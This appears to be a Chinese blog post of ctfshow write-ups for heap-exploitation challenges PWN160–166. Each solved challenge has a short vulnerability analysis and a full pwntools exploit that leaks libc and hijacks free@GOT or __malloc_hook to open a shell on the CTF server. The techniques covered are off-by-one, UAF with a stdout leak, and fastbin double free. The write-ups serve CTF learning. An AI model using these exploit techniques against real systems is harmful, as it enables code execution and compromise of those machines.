ctfshow [堆利用]-----160-180题持续更新

嘿嘿嘿!还是先摆在这里,有时间就更新。

PWN160

先分析一波
这里free函数和show函数都没有什么问题,add()函数的前半段没有什么问题,问题出在edit()函数中。
芜湖

红色圈起来的就是漏洞点了。
这里是进行地址的判断,不要分析错了。因为我们add()的时候会创建2个chunk,第一个是我们要创建的chunk,第二个是系统要创建的chunk
这段代码的主要意思就是,我们创建的chunk的地址加上Size的大小,要小于系统创建的chunk-0x4

首先先创建3个chunk,如下

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")

芜湖

现在分析就是,这段代码意思是0x8ee0008+size >= 0x8ee0090-0x4时就会报错退出。

这表明上是防止了堆溢出,但如果我们将系统创建的chunk和我们创建的chunk分开,那么就能绕过这个判断

绕过代码如下:

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")


free(0)
add(0x100,b"vvvv",0x100,b"gggg")

重新申请后堆的分布就变了,我们创建的chunk在最顶部,而系统创建的chunk在最下面。那么就能绕过 我们创建的chunk的地址加上Size的大小,要小于系统创建的chunk-0x4这个判断。
芜湖

剩下的自己动手调试。

完整exp

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28294)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_32.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size,data,size1,data1):
	sla(b"Action: ",b"0")
	ru(b"size of description: ")
	sl(str(size))
	ru(b"name: ")
	sl(data)
	ru(b"text length: ")
	sl(str(size1))
	ru(b"text: ")
	sl(data1)

def  free(idx):
	sla(b"Action: ",b"1")
	sla(b"index: ",str(idx))

def show(idx):
	sla(b"Action: ",b"2")
	sla(b"index: ",str(idx))

def edit(idx,size,data):
	sla(b"Action: ",b"3")
	sla(b"index: ",str(idx))
	ru(b"text length: ")
	sl(str(size))
	ru(b"text: ")
	sl(data)


free_got = elf.got['free']

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")


free(0)
add(0x100,b"vvvv",0x100,b"gggg")


edit(3,0x200,b"a"*0x108+p32(0)+p32(0x89)+b"a"*0x80+p32(0)+p32(0x89)+p32(free_got))
show(1)
free_addr = u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
libc_base = free_addr-libc.sym['free']
print("libc_base",hex(libc_base))
system_addr = libc_base+libc.sym['system']
edit(1,0x8,p32(system_addr))
free(2)


# gdb.attach(io)

itr()

PWN161

直接从漏洞点也就是edit()函数开始分析吧。
如下图:
芜湖

芜湖
如上图红色标注的就是漏洞点,并不难理解,就是当我们编辑chunk时再次输入的大小减去这个chunk之前创建时输入的大小,如果两者相减为10那么就会导致我们可以多输入一个字节。这就形成了off-by-one漏洞
off-by-one漏洞你们可以自己去网上搜索怎么利用。我这里是用堆叠泄露出libc的地址,然后改写malloc_hook
最终exp如下。

一定一定一定要自己动手调试!!!

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28183)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size):
	sla(b"Choice: ",b"1")
	sla(b"size: ",str(size))


def edit(idx,size,data):
	sla(b"Choice: ",b"2")
	ru(b"index: ")
	sl(str(idx))
	ru(b"size: ")
	sl(str(size))
	ru(b"content: ")
	s(data)

def free(idx):
	sla(b"Choice: ",b"3")
	sla(b"index: ",str(idx))

def show(idx):
	sla(b"Choice: ",b"4")
	sla(b"index: ",str(idx))


add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3

	
payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
free(1)
add(0x88)
show(2)

main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
libc_base = malloc_hook-libc.sym["__malloc_hook"]
fake_chunk = malloc_hook-0x23
realloc = libc_base+libc.sym["realloc"]

one_gadget = libc_base+gadget[1]
print("libc_base",hex(libc_base))

payload = p64(0)*0xd+p64(0x71)
edit(1,len(payload),payload)
free(2)
payload = p64(0)*0xd+p64(0x71)+p64(fake_chunk)
edit(1,len(payload),payload)
add(0x68)
add(0x68)

payload = b"a"*3+p64(0)+p64(one_gadget)+p64(realloc+16)
edit(4,len(payload),payload)
add(0x10)


# gdb.attach(io)

itr()

PWN162

高考完还有练车,太悲催了!!!!

本题知识点: 劫持_IO_2_1_stdout_泄露libc,UAF

还是老样子,保护全开。
本题只有两个实际可以用的函数,一个是add函数,一个是delete函数,这里的view函数看似无用实则有大用。下面开始分析。

#add函数
芜湖

反汇编代码不难理解,给我们分配了两个堆一个是0x28系统分的,一个是我们要的。这里无漏洞

#delete
芜湖
这里free了之后没有把指针清空,存在UAF漏洞,但又与平常的UAF不同,这里还把FD指针给置0了。所以再我们拿到unsortedbin之后的main_arean地址时不能按常规方法使用double free

因为这里要利用_IO_2_1_stdout_泄露libc,所以要能知道stdout的偏移。直接把我们的libc拖到ida中就能查看。
芜湖

下面开始讲解解题过程。

offset = b"\xDD\x55"
add(0x20,b"aaaa",b"aaaa")  #0
add(0x68,b"aaaa",b"aaaa")  #1
add(0x68,b"aaaa",b"aaaa")  #2
add(0x7f,b"aaaa",b"aaaa")   #3
add(0x18,b"aaaa",b"aaaa")   #4

free(0)
free(3)

下面会解释为什么是0xdd0x55
调试结果如下
芜湖
然后在运行如下代码

add(0x60,offset,offset)  #5

free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0")  #6
add(0x68,b"\xd0",b"\xd0")  #7
add(0x68,b"\xd0",b"\xd0")  #8
add(0x68,b"\xd0",b"\xd0")  #9

这里写0xd0是因为我们不能直接double free来写fd指针,因为free时把我们的fd会清空写了也是白写。然后写0xd0相当于我们伪造了FD指向的chunk

如下图
芜湖
这里也是指向了以0xd0结尾的chunk,说明我们伪造成功了。

接下来

sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')

这里我可以看到我们成功写到了_IO_stdout附近
芜湖
然后我们再来看\xdd\x55处的情况
芜湖
这就是我们申请到的地方,可以看到我们已经改写成功了。至于为什么是\xdd\x55,如下图
芜湖
这里可以看到stdout后三位是0x620,这三位是不变的,但我们fastbin attack时会检查size位,所以我们不能把地址申请到这里,但如果将chunk申请到0x620-0x43处,会如何,如下图
芜湖
这样看到正是\xdd处,所以\xdd\x55是算出来的当然也不一定要是这个也可以是\xdd\x75等等但必须保证最后三位是0x5dd


这里看着好像除了flag都没改,其实已经改过了,具体的可以b _int_malloc 然后fin去看

p _IO_list_all
p (*(struct _IO_FILE_plus *)0x7f4188fc5540)
p (*(struct _IO_jump_t *)(0x556306725500+0xd8))

接下来就是正常的流程了,和前几题一样

完整的EXP是(本地的):

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show", 28237)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45226,0x4527a,0xf03a4,0xf1247]

def add(size,data,data1):
	sla(b"Your choice : ",b"1")
	sla(b"size of the daniu's name: ",str(size))
	sa(b"daniu's name:",data)
	sa(b"daniu's message:",data1)
	sl(b"2")
	
def free(idx):
	sla(b"Your choice : ",b"3")
	sla(b"daniu's index:",str(idx))

#==================================================================================
#利用_IO_file泄露libc地址


offset = b"\xDD\x55"

add(0x20,b"aaaa",b"aaaa")  #0
add(0x68,b"aaaa",b"aaaa")  #1
add(0x68,b"aaaa",b"aaaa")  #2
add(0x7f,b"aaaa",b"aaaa")   #3
add(0x18,b"aaaa",b"aaaa")   #4

free(0)
free(3)

add(0x60,offset,offset)  #5

free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0")  #6
add(0x68,b"\xd0",b"\xd0")  #7
add(0x68,b"\xd0",b"\xd0")  #8
add(0x68,b"\xd0",b"\xd0")  #9


sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')

libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = libc_base-libc.sym['_IO_2_1_stderr_'] - 192
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]

print("libc_base------------------>: ",hex(libc_base))
sla(b"daniu's message:",b"1")


#================================================================================
#利用double free改fd指针,使其指向我们伪造的fake_chunk

free(1)
free(2)
free(1)

add(0x68,p64(fake_chunk),b"aaaa")
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")

#===============================================================================
#shell

add(0x68,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),b"a")
sla(b"Your choice : ",b"1")


itr()

注意这是我本地打的,远程打的自己要换libc。而且这是1/16的概率。
要一直打才能成功。本人至少打了30多次才成功比较概率太小了。

PWN163

和pwn161一样的题。

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28258)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]


def add(size):
	sla(b"Command: ",b"1")
	sla(b"Size: ",str(size))

def edit(idx,data):
	sla(b"Command: ",b"2")
	sla(b"Index: ",str(idx))
	sla(b"Size: ",str(len(data)))
	ru(b"Content: ")
	sl(data)

def free(idx):
	sla(b"Command: ",b"3")
	sla(b"Index: ",str(idx))


def show(idx):
	sla(b"Command: ",b"4")
	sla(b"Index: ",str(idx))

add(0x40)
add(0x40)
add(0x40)
add(0x60)

payload = b"a"*0x40+p64(0)+p64(0xa1)
edit(0,payload)

free(1)
add(0x40)
show(2)
main_arean = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arean-0x10-88
libc_base = malloc_hook-libc.sym['__malloc_hook']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]
realloc = libc_base+libc.sym['realloc']
print("libc_base------------_>>: ",hex(libc_base))

free(3)
edit(2,b"a"*0x40+p64(0)+p64(0x71)+p64(fake_chunk))
add(0x60)
add(0x60)
edit(4,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc+8))
add(0x10)



itr()

PWN164

(最近一直练车,一练就是一整天,太累了。要动脑子的题就先不做。以后再说。)

PWN165

(最近一直练车,一练就是一整天,太累了。要动脑子的题就先不做。以后再说。)

PWN166

很基础的double free。最多10分钟就能搞定。不懂的自己百度double free。

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28138)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]



def add(size,data,idx):
	sla("Input your choice:",b"1")
	sla(b"Please input the size of the flag",str(size))
	ru(b"please input the flag name:")
	s(data)
	sla(b"please input the flag idx:",str(idx))

def show(idx):
	sla("Input your choice:",b"2")
	sla(b"Please input the index:",str(idx))


def edit():
	sla("Input your choice:",b"3")


def free(idx):
	sla("Input your choice:",b"4")
	sla(b"Please input the index:",str(idx))


add(0x80,b"aaaa",0)
add(0x60,b"aaaa",1)
add(0x60,b"aaaa",2)

free(0)
add(0x60,b"\x78",3)
show(3)

main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
fake_chunk = malloc_hook-0x23
libc_base = malloc_hook-libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
one_gadget = libc_base+gadget[3]


print(b"libc_base-------------_<: ",hex(libc_base))

free(1)
free(2)
free(1)

add(0x60,p64(fake_chunk),4)
add(0x60,b"aaaaa",5)
add(0x60,b"aaaaa",6)
add(0x60,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),7)
sla("Input your choice:",b"1")



# gdb.attach(io)


itr()

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 9
    评论
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值